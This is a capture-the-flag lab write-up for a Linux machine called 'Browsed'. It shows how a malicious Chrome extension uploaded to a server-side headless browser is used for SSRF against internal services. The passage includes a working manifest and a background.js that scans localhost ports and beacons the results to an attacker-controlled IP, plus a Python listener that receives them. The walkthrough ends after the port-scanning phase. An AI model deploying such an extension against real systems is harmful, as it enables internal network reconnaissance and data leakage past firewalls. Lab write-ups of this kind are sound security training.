Overview
Browsed is a medium Linux machine that chains together three distinct exploitation techniques: browser-context SSRF via a malicious Chrome extension, Bash arithmetic expansion injection in an internal Flask app, and Python bytecode cache poisoning for privilege escalation. The initial foothold requires understanding how Chrome extensions work and how a server-side headless browser can be weaponised to pivot to internal services.
Difficulty: Medium | OS: Linux | IP: 10.129.244.79
Reconnaissance
Started with a basic nmap scan and found port 80 open — a website that lets you upload and test Chrome extensions as .zip files. Adding browsedinternals.htb to /etc/hosts revealed a Gitea instance running internally on port 3000.
The site clearly runs a headless Chrome instance server-side to load and test uploaded extensions. This is the attack surface.
Initial Access — Malicious Chrome Extension
What a Chrome Extension Can Do
Chrome extensions with the right permissions can make arbitrary network requests — including to 127.0.0.1. Because the request originates from the browser process running on the server, it bypasses any firewall rules protecting internal services. This is browser-context SSRF.
The key permissions needed in manifest.json:
{
"manifest_version": 3,
"name": "Font Switcher",
"version": "2.0.0",
"permissions": ["storage", "scripting", "tabs"],
"host_permissions": ["<all_urls>"],
"background": { "service_worker": "background.js" }
}The host_permissions: ["<all_urls>"] is what allows the background service worker to fetch() any URL including http://127.0.0.1.
Phase 1 — Port Recon
I wrote a background.js that probes common localhost ports and beacons results back to my machine:
// background.js — port scanner
var IP = "10.10.16.73";
var PORT = "8080";
var PORTS = [80, 3000, 4000, 5000, 8000, 8080, 8888, 9000];
function beacon(path, data) {
fetch("http://" + IP + ":" + PORT + "/" + path, {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
}).catch(function(){});
}
function probePort(port) {
var controller = new AbortController();
setTimeout(function(){ controller.abort(); }, 2000);
fetch("http://127.0.0.1:" + port + "/", {
signal: controller.signal,
mode: "no-cors"
}).then(function() {
beacon("port", {port: port, status: "OPEN"});
}).catch(function(e) {
if (e.name !== "AbortError") return;
beacon("port", {port: port, status: "TIMEOUT"});
});
}
PORTS.forEach(probePort);I set up a listener on port 8080 to catch the beacons:
python3 -c "
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length',0))
data = json.loads(self.rfile.read(l))
print('[HIT]', self.path, json.dumps(data))
self.send_response(200); self.end_headers()
def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"Results from the Chrome log showed three open ports:
| Port | Service |
|---|---|
| 80 | Public web app |
| 3000 | Gitea (internal) |
| 5000 | Flask app |
Why this worked: The Chrome extension's
background.jsruns inside the browser process on the server. When it callsfetch("http://127.0.0.1:5000"), the request originates from the server itself — not from my machine — so internal firewall rules don't apply. The response and errors leak port state back to me via a beacon.